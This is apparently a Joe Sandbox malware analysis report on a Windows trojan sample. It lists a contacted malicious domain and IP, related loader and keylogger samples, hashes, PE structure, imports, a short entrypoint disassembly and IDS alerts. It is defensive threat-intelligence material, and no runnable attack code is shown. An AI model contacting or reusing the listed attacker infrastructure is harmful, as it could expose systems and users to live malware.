https://amazonenviro.com/4	UTstKgkJNY.exe, 00000001.00000003.1320430561.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
166.62.27.188	amazonenviro.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590521
Start date and time:	2025-01-14 08:24:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UTstKgkJNY.exe renamed because original name is a hash value
Original Sample Name:	7e6af615a074f41ea63ef69a047e8f6d.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 38
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: UTstKgkJNY.exe

Simulations

Behavior and APIs

Time	Type	Description
02:24:59	API Interceptor	77x Sleep call for process: UTstKgkJNY.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
166.62.27.188	On9ahUpI4R.exe	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	UAHIzSm2x2.exe	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
amazonenviro.com	JDQS879kiy.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	UAHIzSm2x2.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	On9ahUpI4R.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	JDQS879kiy.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	UAHIzSm2x2.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	trow.exe	Get hash	malicious	Unknown	Browse	107.180.98.101
	https://upholl-xlognusa.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	3.elf	Get hash	malicious	Unknown	Browse	184.168.52.170
	http://logiinnmaskemettaha93.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	On9ahUpI4R.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	JDQS879kiy.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	UAHIzSm2x2.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	166.62.27.188

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.249672812956651
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	UTstKgkJNY.exe
File size:	1'161'216 bytes
MD5:	7e6af615a074f41ea63ef69a047e8f6d
SHA1:	a466ec15884ee1ab19dd0bed7327ffcf1db4a6f2
SHA256:	939c125accb6e2f939bc239c45d3ead938a0c0bcd63d77fbde11ed96ed1a1c76
SHA512:	0a0fb978deddfdae81ef9a44c0f424520fc43e89a52478540decc381490f3ece450b70799e7f995cb05e5ab4c47758db3e401fb52d11673598778489542e21b2
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
TLSH:	D435BF7790B387FAC05689798D5FA7E4653EA830392CBA42FED17E0C5F24146B838197
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4f858a8c8e8e8946

Static PE Info

General

Entrypoint:	0x46e80c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	44c8864bd68c3bff94639c69671ea4b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D250h
call 00007F7480D6DB21h
mov ecx, dword ptr [00470E9Ch]
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CB00h]
call 00007F7480DC39B9h
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
call 00007F7480DC3A2Dh
call 00007F7480D6B980h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75000	0x266e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0xa1c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x7ce8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x79000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75754	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c4c0	0x6c600	69c4173c38ad27686fb46f69fd79ec91	False	0.5070961288927336	data	6.531494017298441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x848	0xa00	639613140a642faedd01bff468c3e3cf	False	0.523828125	data	5.552779847613545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6f000	0x1f40	0x2000	53b6dd6978c858db7e9faa57954b9c18	False	0.3963623046875	data	3.804120578626792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x71000	0x36ec	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x75000	0x266e	0x2800	f0f9a1156b641e5ea253cb6ddcaf08ba	False	0.3103515625	data	4.872671403071516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x78000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x79000	0x18	0x200	5b11e123dd9b7f6d94b27d2ad6e9bc83	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7a000	0x7ce8	0x7e00	3b0f62de599dc8a77438a9e2115a0b81	False	0.6107390873015873	data	6.679791141044884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0xa1c00	0xa1c00	d053912a545242d9b45af7295b4d7b07	False	0.5014988045788253	data	7.102983757450699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x83244	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x83378	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x834ac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x835e0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x83714	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x83848	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8397c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x83ab0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x83c80	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x83e64	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x84034	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x84204	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x843d4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x845a4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x84774	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84944	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x84b14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84ce4	0x81940	Device independent bitmap graphic, 971 x 182 x 24, image size 530712	English	United States	0.497995297238635
RT_BITMAP	0x106624	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x10674c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x106874	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x10699c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106a84	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x106bac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x106cd4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x106da4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x106ecc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x106ff4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10711c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x107244	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10736c	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x107454	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10757c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1076a4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x107774	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x10789c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1079c4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x107aec	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107c14	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107d3c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x107e24	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x107f4c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x108074	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x108144	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10826c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x108394	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x10847c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 40314 x 40314 px/m			0.40560165975103735
RT_DIALOG	0x10aa24	0x52	data			0.7682926829268293
RT_DIALOG	0x10aa78	0x52	data			0.7560975609756098
RT_STRING	0x10aacc	0x35c	data			0.45348837209302323
RT_STRING	0x10ae28	0x2d8	data			0.4642857142857143
RT_STRING	0x10b100	0xc0	data			0.6770833333333334
RT_STRING	0x10b1c0	0xec	data			0.6483050847457628
RT_STRING	0x10b2ac	0x350	data			0.43514150943396224
RT_STRING	0x10b5fc	0x3cc	data			0.37962962962962965
RT_STRING	0x10b9c8	0x388	data			0.4092920353982301
RT_STRING	0x10bd50	0x418	data			0.36736641221374045
RT_STRING	0x10c168	0x140	data			0.515625
RT_STRING	0x10c2a8	0xcc	data			0.6127450980392157
RT_STRING	0x10c374	0x1ec	data			0.5345528455284553
RT_STRING	0x10c560	0x3b0	data			0.326271186440678
RT_STRING	0x10c910	0x354	data			0.4107981220657277
RT_STRING	0x10cc64	0x2a4	data			0.4363905325443787
RT_RCDATA	0x10cf08	0x10	data			1.5
RT_RCDATA	0x10cf18	0x338	data			0.6905339805825242
RT_RCDATA	0x10d250	0x1657c	GIF image data, version 89a, 360 x 360	English	United States	0.594726605183793
RT_RCDATA	0x1237cc	0x369	Delphi compiled form 'TForm1'			0.6071019473081328
RT_GROUP_CURSOR	0x123b38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x123bc4	0x14	data			1.25

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, lstrcatA, _lread, _lopen, _llseek, _lclose, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:25:03.113199+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49706	166.62.27.188	443	TCP
2025-01-14T08:25:04.606069+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49708	166.62.27.188	443	TCP
2025-01-14T08:25:06.322079+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49710	166.62.27.188	443	TCP
2025-01-14T08:25:07.972097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49718	166.62.27.188	443	TCP
2025-01-14T08:25:09.616455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49728	166.62.27.188	443	TCP
2025-01-14T08:25:11.252572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49738	166.62.27.188	443	TCP
2025-01-14T08:25:13.028589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49750	166.62.27.188	443	TCP
2025-01-14T08:25:14.685126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49762	166.62.27.188	443	TCP
2025-01-14T08:25:16.337260+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49773	166.62.27.188	443	TCP
